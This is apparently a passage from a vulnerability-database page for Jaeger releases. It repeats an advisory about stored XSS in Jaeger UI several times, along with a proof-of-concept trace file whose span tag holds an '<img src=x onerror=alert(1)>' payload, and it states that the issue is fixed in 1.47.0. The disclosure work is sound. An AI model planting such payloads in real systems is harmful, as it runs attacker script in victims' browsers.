                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 23, 2021

v1.21.0 minor

1 CVE

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 16, 2020

v1.19.2 minor

1 CVE

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 27, 2020

v1.17.1 minor

2 CVEs

CVE-2020-10750 GO-2022-0834 BIT-jaeger-2020-10750 GHSA-gh32-pc56-4c96 Aug 21, 2024

Information Exposure in jaeger in github.com/jaegertracing/jaeger

Fixed in


          1.18.1

References

Updated Mar 03, 2026 · Source: OSV.dev

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 13, 2020

v1.16.0 minor

2 CVEs

CVE-2020-10750 GO-2022-0834 BIT-jaeger-2020-10750 GHSA-gh32-pc56-4c96 Aug 21, 2024

Information Exposure in jaeger in github.com/jaegertracing/jaeger

Fixed in


          1.18.1

References

Updated Mar 03, 2026 · Source: OSV.dev

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 17, 2019

v1.15.0 minor

2 CVEs

CVE-2020-10750 GO-2022-0834 BIT-jaeger-2020-10750 GHSA-gh32-pc56-4c96 Aug 21, 2024

Information Exposure in jaeger in github.com/jaegertracing/jaeger

Fixed in


          1.18.1

References

Updated Mar 03, 2026 · Source: OSV.dev

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 07, 2019

Activity

Reach

Details